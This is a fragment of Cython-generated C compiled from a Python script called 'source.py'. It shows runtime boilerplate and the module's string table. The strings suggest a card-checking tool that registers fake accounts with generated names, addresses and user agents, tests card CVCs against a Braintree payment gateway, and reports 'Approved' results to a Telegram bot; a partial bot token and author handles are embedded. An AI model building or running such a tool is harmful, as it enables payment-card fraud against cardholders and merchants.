        likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\
        PyObject_Format(s, f))
#elif CYTHON_USE_TYPE_SLOTS
    #define __Pyx_PyObject_FormatSimple(s, f) (\
        likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\
        likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_str(s) :\
        likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_str(s) :\
        PyObject_Format(s, f))
#else
    #define __Pyx_PyObject_FormatSimple(s, f) (\
        likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\
        PyObject_Format(s, f))
#endif

/* IncludeStringH.proto */
#include <string.h>

/* JoinPyUnicode.proto */
static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength,
                                      Py_UCS4 max_char);

/* RaiseDoubleKeywords.proto */
static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name);

/* ParseKeywords.proto */
static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\
    PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\
    const char* function_name);

/* RaiseArgTupleInvalid.proto */
static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact,
    Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found);

/* None.proto */
static CYTHON_INLINE void __Pyx_RaiseClosureNameError(const char *varname);

/* ListCompAppend.proto */
#if CYTHON_USE_PYLIST_INTERNALS && CYTHON_ASSUME_SAFE_MACROS
static CYTHON_INLINE int __Pyx_ListComp_Append(PyObject* list, PyObject* x) {
    PyListObject* L = (PyListObject*) list;
    Py_ssize_t len = Py_SIZE(list);
    if (likely(L->allocated > len)) {
        Py_INCREF(x);
        PyList_SET_ITEM(list, len, x);
        __Pyx_SET_SIZE(list, len + 1);
        return 0;
    }
    return PyList_Append(list, x);
}
#else
#define __Pyx_ListComp_Append(L,x) PyList_Append(L,x)
#endif

/* PyObject_GenericGetAttrNoDict.proto */
#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000
static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name);
#else
#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr
#endif

/* Import.proto */
static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level);

/* ImportFrom.proto */
static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name);

/* PySequenceContains.proto */
static CYTHON_INLINE int __Pyx_PySequence_ContainsTF(PyObject* item, PyObject* seq, int eq) {
    int result = PySequence_Contains(seq, item);
    return unlikely(result < 0) ? result : (result == (eq == Py_EQ));
}

/* PyObjectSetAttrStr.proto */
#if CYTHON_USE_TYPE_SLOTS
#define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o, n, NULL)
static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value);
#else
#define __Pyx_PyObject_DelAttrStr(o,n)   PyObject_DelAttr(o,n)
#define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v)
#endif

/* FetchCommonType.proto */
static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type);

/* CythonFunctionShared.proto */
#define __Pyx_CyFunction_USED 1
#define __Pyx_CYFUNCTION_STATICMETHOD  0x01
#define __Pyx_CYFUNCTION_CLASSMETHOD   0x02
#define __Pyx_CYFUNCTION_CCLASS        0x04
#define __Pyx_CyFunction_GetClosure(f)\
    (((__pyx_CyFunctionObject *) (f))->func_closure)
#define __Pyx_CyFunction_GetClassObj(f)\
    (((__pyx_CyFunctionObject *) (f))->func_classobj)
#define __Pyx_CyFunction_Defaults(type, f)\
    ((type *)(((__pyx_CyFunctionObject *) (f))->defaults))
#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\
    ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g)
typedef struct {
    PyCFunctionObject func;
#if PY_VERSION_HEX < 0x030500A0
    PyObject *func_weakreflist;
#endif
    PyObject *func_dict;
    PyObject *func_name;
    PyObject *func_qualname;
    PyObject *func_doc;
    PyObject *func_globals;
    PyObject *func_code;
    PyObject *func_closure;
    PyObject *func_classobj;
    void *defaults;
    int defaults_pyobjects;
    size_t defaults_size;  // used by FusedFunction for copying defaults
    int flags;
    PyObject *defaults_tuple;
    PyObject *defaults_kwdict;
    PyObject *(*defaults_getter)(PyObject *);
    PyObject *func_annotations;
} __pyx_CyFunctionObject;
static PyTypeObject *__pyx_CyFunctionType = 0;
#define __Pyx_CyFunction_Check(obj)  (__Pyx_TypeCheck(obj, __pyx_CyFunctionType))
static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml,
                                      int flags, PyObject* qualname,
                                      PyObject *self,
                                      PyObject *module, PyObject *globals,
                                      PyObject* code);
static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m,
                                                         size_t size,
                                                         int pyobjects);
static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m,
                                                            PyObject *tuple);
static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m,
                                                             PyObject *dict);
static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m,
                                                              PyObject *dict);
static int __pyx_CyFunction_init(void);

/* CythonFunction.proto */
static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml,
                                      int flags, PyObject* qualname,
                                      PyObject *closure,
                                      PyObject *module, PyObject *globals,
                                      PyObject* code);

/* PyIntBinop.proto */
#if !CYTHON_COMPILING_IN_PYPY
static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check);
#else
#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\
    (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2))
#endif

/* SliceObject.proto */
static CYTHON_INLINE PyObject* __Pyx_PyObject_GetSlice(
        PyObject* obj, Py_ssize_t cstart, Py_ssize_t cstop,
        PyObject** py_start, PyObject** py_stop, PyObject** py_slice,
        int has_cstart, int has_cstop, int wraparound);

/* PyIntCompare.proto */
static CYTHON_INLINE PyObject* __Pyx_PyInt_EqObjC(PyObject *op1, PyObject *op2, long intval, long inplace);

/* DictGetItem.proto */
#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY
static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key);
#define __Pyx_PyObject_Dict_GetItem(obj, name)\
    (likely(PyDict_CheckExact(obj)) ?\
     __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name))
#else
#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key)
#define __Pyx_PyObject_Dict_GetItem(obj, name)  PyObject_GetItem(obj, name)
#endif

/* PyThreadStateGet.proto */
#if CYTHON_FAST_THREAD_STATE
#define __Pyx_PyThreadState_declare  PyThreadState *__pyx_tstate;
#define __Pyx_PyThreadState_assign  __pyx_tstate = __Pyx_PyThreadState_Current;
#define __Pyx_PyErr_Occurred()  __pyx_tstate->curexc_type
#else
#define __Pyx_PyThreadState_declare
#define __Pyx_PyThreadState_assign
#define __Pyx_PyErr_Occurred()  PyErr_Occurred()
#endif

/* PyErrFetchRestore.proto */
#if CYTHON_FAST_THREAD_STATE
#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL)
#define __Pyx_ErrRestoreWithState(type, value, tb)  __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb)
#define __Pyx_ErrFetchWithState(type, value, tb)    __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb)
#define __Pyx_ErrRestore(type, value, tb)  __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb)
#define __Pyx_ErrFetch(type, value, tb)    __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb)
static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb);
static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);
#if CYTHON_COMPILING_IN_CPYTHON
#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL))
#else
#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc)
#endif
#else
#define __Pyx_PyErr_Clear() PyErr_Clear()
#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc)
#define __Pyx_ErrRestoreWithState(type, value, tb)  PyErr_Restore(type, value, tb)
#define __Pyx_ErrFetchWithState(type, value, tb)  PyErr_Fetch(type, value, tb)
#define __Pyx_ErrRestoreInState(tstate, type, value, tb)  PyErr_Restore(type, value, tb)
#define __Pyx_ErrFetchInState(tstate, type, value, tb)  PyErr_Fetch(type, value, tb)
#define __Pyx_ErrRestore(type, value, tb)  PyErr_Restore(type, value, tb)
#define __Pyx_ErrFetch(type, value, tb)  PyErr_Fetch(type, value, tb)
#endif

/* CLineInTraceback.proto */
#ifdef CYTHON_CLINE_IN_TRACEBACK
#define __Pyx_CLineForTraceback(tstate, c_line)  (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0)
#else
static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line);
#endif

/* CodeObjectCache.proto */
typedef struct {
    PyCodeObject* code_object;
    int code_line;
} __Pyx_CodeObjectCacheEntry;
struct __Pyx_CodeObjectCache {
    int count;
    int max_count;
    __Pyx_CodeObjectCacheEntry* entries;
};
static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL};
static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line);
static PyCodeObject *__pyx_find_code_object(int code_line);
static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object);

/* AddTraceback.proto */
static void __Pyx_AddTraceback(const char *funcname, int c_line,
                               int py_line, const char *filename);

/* GCCDiagnostics.proto */
#if defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6))
#define __Pyx_HAS_GCC_DIAGNOSTIC
#endif

/* CIntToPy.proto */
static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value);

/* CIntFromPy.proto */
static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *);

/* CIntFromPy.proto */
static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *);

/* FastTypeChecks.proto */
#if CYTHON_COMPILING_IN_CPYTHON
#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type)
static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b);
static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type);
static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2);
#else
#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type)
#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type)
#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2))
#endif
#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception)

/* RaiseException.proto */
static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause);

/* GetTopmostException.proto */
#if CYTHON_USE_EXC_INFO_STACK
static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate);
#endif

/* SaveResetException.proto */
#if CYTHON_FAST_THREAD_STATE
#define __Pyx_ExceptionSave(type, value, tb)  __Pyx__ExceptionSave(__pyx_tstate, type, value, tb)
static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);
#define __Pyx_ExceptionReset(type, value, tb)  __Pyx__ExceptionReset(__pyx_tstate, type, value, tb)
static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb);
#else
#define __Pyx_ExceptionSave(type, value, tb)   PyErr_GetExcInfo(type, value, tb)
#define __Pyx_ExceptionReset(type, value, tb)  PyErr_SetExcInfo(type, value, tb)
#endif

/* SwapException.proto */
#if CYTHON_FAST_THREAD_STATE
#define __Pyx_ExceptionSwap(type, value, tb)  __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb)
static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb);
#else
static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb);
#endif

/* PyObjectGetMethod.proto */
static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method);

/* PyObjectCallMethod1.proto */
static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg);

/* CoroutineBase.proto */
typedef PyObject *(*__pyx_coroutine_body_t)(PyObject *, PyThreadState *, PyObject *);
#if CYTHON_USE_EXC_INFO_STACK
#define __Pyx_ExcInfoStruct  _PyErr_StackItem
#else
typedef struct {
    PyObject *exc_type;
    PyObject *exc_value;
    PyObject *exc_traceback;
} __Pyx_ExcInfoStruct;
#endif
typedef struct {
    PyObject_HEAD
    __pyx_coroutine_body_t body;
    PyObject *closure;
    __Pyx_ExcInfoStruct gi_exc_state;
    PyObject *gi_weakreflist;
    PyObject *classobj;
    PyObject *yieldfrom;
    PyObject *gi_name;
    PyObject *gi_qualname;
    PyObject *gi_modulename;
    PyObject *gi_code;
    PyObject *gi_frame;
    int resume_label;
    char is_running;
} __pyx_CoroutineObject;
static __pyx_CoroutineObject *__Pyx__Coroutine_New(
    PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure,
    PyObject *name, PyObject *qualname, PyObject *module_name);
static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit(
            __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure,
            PyObject *name, PyObject *qualname, PyObject *module_name);
static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self);
static int __Pyx_Coroutine_clear(PyObject *self);
static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value);
static PyObject *__Pyx_Coroutine_Close(PyObject *self);
static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args);
#if CYTHON_USE_EXC_INFO_STACK
#define __Pyx_Coroutine_SwapException(self)
#define __Pyx_Coroutine_ResetAndClearException(self)  __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state)
#else
#define __Pyx_Coroutine_SwapException(self) {\
    __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\
    __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\
    }
#define __Pyx_Coroutine_ResetAndClearException(self) {\
    __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\
    (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\
    }
#endif
#if CYTHON_FAST_THREAD_STATE
#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\
    __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue)
#else
#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\
    __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue)
#endif
static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue);
static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state);

/* PatchModuleWithCoroutine.proto */
static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code);

/* PatchGeneratorABC.proto */
static int __Pyx_patch_abc(void);

/* Generator.proto */
#define __Pyx_Generator_USED
static PyTypeObject *__pyx_GeneratorType = 0;
#define __Pyx_Generator_CheckExact(obj) (Py_TYPE(obj) == __pyx_GeneratorType)
#define __Pyx_Generator_New(body, code, closure, name, qualname, module_name)\
    __Pyx__Coroutine_New(__pyx_GeneratorType, body, code, closure, name, qualname, module_name)
static PyObject *__Pyx_Generator_Next(PyObject *self);
static int __pyx_Generator_init(void);

/* CheckBinaryVersion.proto */
static int __Pyx_check_binary_version(void);

/* InitStrings.proto */
static int __Pyx_InitStrings(__Pyx_StringTabEntry *t);


/* Module declarations from \'source\' */
static PyTypeObject *__pyx_ptype_6source___pyx_scope_struct__generate_random_code = 0;
static PyTypeObject *__pyx_ptype_6source___pyx_scope_struct_1_genexpr = 0;
#define __Pyx_MODULE_NAME "source"
extern int __pyx_module_is_main_source;
int __pyx_module_is_main_source = 0;

/* Implementation of \'source\' */
static PyObject *__pyx_builtin_print;
static PyObject *__pyx_builtin_open;
static PyObject *__pyx_builtin_input;
static PyObject *__pyx_builtin_range;
static const char __pyx_k_0[] = "0";
static const char __pyx_k_B[] = "B";
static const char __pyx_k_C[] = "C";
static const char __pyx_k_E[] = "E";
static const char __pyx_k_F[] = "F";
static const char __pyx_k_G[] = "G";
static const char __pyx_k_O[] = "O";
static const char __pyx_k_P[] = "P";
static const char __pyx_k_R[] = "R";
static const char __pyx_k_S[] = "S";
static const char __pyx_k_W[] = "W";
static const char __pyx_k_X[] = "X";
static const char __pyx_k_Y[] = "Y";
static const char __pyx_k_Z[] = "Z";
static const char __pyx_k_i[] = "i";
static const char __pyx_k_k[] = "k";
static const char __pyx_k_n[] = "n";
static const char __pyx_k_r[] = "r";
static const char __pyx_k_w[] = "w";
static const char __pyx_k_x[] = "x";
static const char __pyx_k_y[] = "y";
static const char __pyx_k_20[] = "20";
static const char __pyx_k_Bl[] = "Bl";
static const char __pyx_k_ID[] = "ID";
static const char __pyx_k_PN[] = "PN";
static const char __pyx_k__8[] = "\330\247\330\257\330\256\331\204 \330\247\331\212\330\257\331\212 \330\255\330\263\330\247\330\250\331\203 \330\271\331\204\331\211 \330\252\331\212\331\204\331\212\330\272\330\261\330\247\331\205";
static const char __pyx_k_a1[] = "a1";
static const char __pyx_k_a2[] = "a2";
static const char __pyx_k_a3[] = "a3";
static const char __pyx_k_a4[] = "a4";
static const char __pyx_k_a5[] = "a5";
static const char __pyx_k_a6[] = "a6";
static const char __pyx_k_a7[] = "a7";
static const char __pyx_k_a8[] = "a8";
static const char __pyx_k_a9[] = "a9";
static const char __pyx_k_au[] = "au";
static const char __pyx_k_ka[] = "ka";
static const char __pyx_k_lo[] = "lo";
static const char __pyx_k_mm[] = "mm";
static const char __pyx_k_os[] = "os";
static const char __pyx_k_re[] = "re";
static const char __pyx_k_yy[] = "yy";
static const char __pyx_k_303[] = "303";
static const char __pyx_k_E_D[] = "E\320\270\321\202\321\224\321\217 \321\203\317\203\317\205\321\217 \316\271D : ";
static const char __pyx_k_IDD[] = "IDD";
static const char __pyx_k_T_S[] = "T\317\203\317\203\342\204\223\321\225 S\321\202\317\203\317\201\317\201\321\224\342\210\202 ";
static const char __pyx_k__27[] = " -> ";
static const char __pyx_k__28[] = " \342\234\205";
static const char __pyx_k__29[] = "|";
static const char __pyx_k__30[] = " \342\235\214";
static const char __pyx_k_acc[] = "acc";
static const char __pyx_k_cvc[] = "cvc";
static const char __pyx_k_dec[] = "dec";
static const char __pyx_k_enc[] = "enc";
static const char __pyx_k_get[] = "get";
static const char __pyx_k_icX[] = "icX";
static const char __pyx_k_md1[] = "md1";
static const char __pyx_k_md2[] = "md2";
static const char __pyx_k_md3[] = "md3";
static const char __pyx_k_num[] = "num";
static const char __pyx_k_opm[] = "opm";
static const char __pyx_k_say[] = "say";
static const char __pyx_k_sys[] = "sys";
static const char __pyx_k_tok[] = "tok";
static const char __pyx_k_url[] = "url";
static const char __pyx_k_v1k[] = "v1k";
static const char __pyx_k_v3i[] = "v3i";
static const char __pyx_k_args[] = "args";
static const char __pyx_k_bin3[] = "bin3";
static const char __pyx_k_city[] = "city";
static const char __pyx_k_corr[] = "corr";
static const char __pyx_k_data[] = "data";
static const char __pyx_k_exit[] = "exit";
static const char __pyx_k_file[] = "file";
static const char __pyx_k_json[] = "json";
static const char __pyx_k_main[] = "__main__";
static const char __pyx_k_name[] = "__name__";
static const char __pyx_k_open[] = "open";
static const char __pyx_k_post[] = "post";
static const char __pyx_k_send[] = "send";
static const char __pyx_k_sess[] = "sess";
static const char __pyx_k_slpn[] = "slpn";
static const char __pyx_k_test[] = "__test__";
static const char __pyx_k_text[] = "text";
static const char __pyx_k_time[] = "time";
static const char __pyx_k_url3[] = "url3";
static const char __pyx_k_user[] = "user";
static const char __pyx_k_word[] = "word";
static const char __pyx_k_1_36m[] = " \033[1;36m      \360\235\220\226\360\235\220\232\360\235\220\242\360\235\220\255.\360\235\220\205\360\235\220\250\360\235\220\253 \360\235\220\200\360\235\220\234\360\235\220\255\360\235\220\242\360\235\220\257\360\235\220\242\360\235\220\255\360\235\220\232\360\235\220\255\360\235\220\242\360\235\220\250\360\235\220\247... ";
static const char __pyx_k_B_6_Q[] = "< \360\235\227\240\360\235\227\274\360\235\227\261\360\235\227\260\360\235\227\256 \360\223\217\272 \360\235\227\247\360\235\227\265\360\235\227\262 \360\235\227\237\360\235\227\274\360\235\230\200\360\235\230\201 \360\237\207\254\360\237\207\247 > @B_6_Q";
static const char __pyx_k_align[] = "align";
static const char __pyx_k_close[] = "close";
static const char __pyx_k_flush[] = "flush";
static const char __pyx_k_group[] = "group";
static const char __pyx_k_heron[] = "heron";
static const char __pyx_k_index[] = "index";
static const char __pyx_k_input[] = "input";
static const char __pyx_k_match[] = "match";
static const char __pyx_k_print[] = "print";
static const char __pyx_k_range[] = "range";
static const char __pyx_k_sleep[] = "sleep";
static const char __pyx_k_split[] = "split";
static const char __pyx_k_state[] = "state";
static const char __pyx_k_throw[] = "throw";
static const char __pyx_k_token[] = "token";
static const char __pyx_k_write[] = "write";
static const char __pyx_k_Bearer[] = "Bearer ";
static const char __pyx_k_base64[] = "base64";
static const char __pyx_k_cfonts[] = "cfonts";
static const char __pyx_k_choice[] = "choice";
static const char __pyx_k_cities[] = "cities";
static const char __pyx_k_client[] = "client";
static const char __pyx_k_colors[] = "colors";
static const char __pyx_k_decode[] = "decode";
static const char __pyx_k_digits[] = "digits";
static const char __pyx_k_format[] = "format";
static const char __pyx_k_import[] = "__import__";
static const char __pyx_k_length[] = "length";
static const char __pyx_k_name_2[] = "name";
static const char __pyx_k_number[] = "number";
static const char __pyx_k_output[] = "output";
static const char __pyx_k_random[] = "random";
static const char __pyx_k_render[] = "render";
static const char __pyx_k_result[] = "result";
static const char __pyx_k_search[] = "search";
static const char __pyx_k_source[] = "source";
static const char __pyx_k_states[] = "states";
static const char __pyx_k_stdout[] = "stdout";
static const char __pyx_k_string[] = "string";
static const char __pyx_k_system[] = "system";
static const char __pyx_k_text_C[] = "&text=\n    \tC\316\261\321\217\342\210\202 -> ";
static const char __pyx_k_verify[] = "verify";
static const char __pyx_k_P_B_6_Q[] = "\n        ~ P\321\217\317\203\311\242\321\217\316\261\320\274\320\274\316\265\321\217 : @B_6_Q | < \360\235\227\240\360\235\227\274\360\235\227\261\360\235\227\260\360\235\227\256 \360\223\217\272 \360\235\227\247\360\235\227\265\360\235\227\262 \360\235\227\237\360\235\227\274\360\235\230\200\360\235\230\201 \360\237\207\254\360\237\207\247 > ";
static const char __pyx_k_address[] = "address";
static const char __pyx_k_choices[] = "choices";
static const char __pyx_k_cookies[] = "cookies";
static const char __pyx_k_findall[] = "findall";
static const char __pyx_k_genexpr[] = "genexpr";
static const char __pyx_k_headers[] = "headers";
static const char __pyx_k_pattern[] = "pattern";
static const char __pyx_k_randint[] = "randint";
static const char __pyx_k_replace[] = "replace";
static const char __pyx_k_session[] = "session";
static const char __pyx_k_streets[] = "streets";
static const char __pyx_k_1_91m_0m[] = "[\033[1;91m\342\226\240\033[0m\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241]";
static const char __pyx_k_1_92m_0m[] = "[\033[1;92m\342\226\240\342\226\240\033[0m\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241]";
static const char __pyx_k_1_93m_0m[] = "[\033[1;93m\342\226\240\342\226\240\342\226\240\033[0m\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241]";
static const char __pyx_k_1_94m_0m[] = "[\033[1;94m\342\226\240\342\226\240\342\226\240\342\226\240\033[0m\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241]";
static const char __pyx_k_1_95m_0m[] = "[\033[1;95m\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\033[0m\342\226\241\342\226\241\342\226\241\342\226\241\342\226\241]";
static const char __pyx_k_1_96m_0m[] = "[\033[1;96m\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\033[0m\342\226\241\342\226\241\342\226\241\342\226\241]";
static const char __pyx_k_1_97m_0m[] = "[\033[1;97m\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\033[0m\342\226\241\342\226\241\342\226\241]";
static const char __pyx_k_1_98m_0m[] = "[\033[1;98m\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\033[0m\342\226\241\342\226\241]";
static const char __pyx_k_1_99m_0m[] = "[\033[1;99m\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\033[0m\342\226\241]";
static const char __pyx_k_register[] = "register";
static const char __pyx_k_requests[] = "requests";
static const char __pyx_k_response[] = "response";
static const char __pyx_k_username[] = "username";
static const char __pyx_k_zip_code[] = "zip_code";
static const char __pyx_k_1_910m_0m[] = "[\033[1;910m\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\342\226\240\033[0m]";
static const char __pyx_k_38_5_153m[] = "\033[38;5;153m\342\200\224";
static const char __pyx_k_UserAgent[] = "UserAgent";
static const char __pyx_k_add_nonce[] = "add_nonce";
static const char __pyx_k_b64decode[] = "b64decode";
static const char __pyx_k_full_name[] = "full_name";
static const char __pyx_k_gmail_com[] = "@gmail.com";
static const char __pyx_k_json_data[] = "json_data";
static const char __pyx_k_last_name[] = "last_name";
static const char __pyx_k_readlines[] = "readlines";
static const char __pyx_k_source_py[] = "source.py";
static const char __pyx_k_start_num[] = "start_num";
static const char __pyx_k_zip_codes[] = "zip_codes";
static const char __pyx_k_first_name[] = "first_name";
static const char __pyx_k_last_names[] = "last_names";
static const char __pyx_k_user_agent[] = "user_agent";
static const char __pyx_k_webbrowser[] = "webbrowser";
static const char __pyx_k_5T259MnyzEQ[] = "5T259MnyzEQ";
static const char __pyx_k_first_names[] = "first_names";
static const char __pyx_k_ascii_letters[] = "ascii_letters";
static const char __pyx_k_fake_useragent[] = "fake_useragent";
static const char __pyx_k_street_address[] = "street_address";
static const char __pyx_k_ascii_lowercase[] = "ascii_lowercase";
static const char __pyx_k_6808504280_AAEeP[] = "6808504280:AAEeP";
static const char __pyx_k_Ectracted_Failed[] = "Ectracted Failed \342\235\214   ";
static const char __pyx_k_follow_redirects[] = "follow_redirects";
static const char __pyx_k_generate_address[] = "generate_address";
static const char __pyx_k_G_B_A_R_Approved_R[] = "\n    \t  G\316\261\321\202\321\224\317\211\316\261\321\203 -> B\321\217\316\261\316\271\320\270\321\202\321\217\321\224\321\224 A\317\205\321\202\320\275\n        R\321\224\321\225\317\205\342\204\223\321\202 -> Approved \342\234\205\n        R\321\224\321\225\317\201\317\203\320\270\321\225\321\224 -> ";
static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback";
static const char __pyx_k_generate_full_name[] = "generate_full_name";
static const char __pyx_k_letters_and_digits[] = "letters_and_digits";
static const char __pyx_k_generate_user_agent[] = "generate_user_agent";
static const char __pyx_k_sendmessage_chat_id[] = "/sendmessage?chat_id=";
static const char __pyx_k_generate_random_code[] = "generate_random_code";
static const char __pyx_k_Ectracted_Successfully[] = "Ectracted Successfully \342\234\205   ";
static const char __pyx_k_P_B_6_Q_C_ModcaTheLost[] = "      ~ P\321\217\317\203\311\242\321\217\316\261\320\274\320\274\316\265\321\217 \342\200\242 \360\235\227\240\360\235\227\274\360\235\227\261\360\235\227\260\360\235\227\256 \342\200\242 -> @B_6_Q | C\320\275\316\261\320\270\320\270\321\217\342\204\223 : @ModcaTheLost ~";
static const char __pyx_k_generate_random_account[] = "generate_random_account";
static const char __pyx_k_https_pastebin_com_raw_3[] = "https://pastebin.com/raw/3";
static const char __pyx_k_https_pastebin_com_raw_9[] = "https://pastebin.com/raw/9";
static const char __pyx_k_Y_I_tg_openmessage_user_id[] = "  \342\234\205\n        Y\317\203\317\205\321\217 I\342\210\202 -> tg://openmessage?user_id=";
static const char __pyx_k_https_api_telegram_org_bot[] = "https://api.telegram.org/bot";
static const char __pyx_k_generate_random_code_locals_gene[] = "generate_random_code.<locals>.genexpr";
static PyObject *__pyx_kp_u_0;
static PyObject *__pyx_kp_u_1_36m;
static PyObject *__pyx_kp_u_1_910m_0m;
static PyObject *__pyx_kp_u_1_91m_0m;
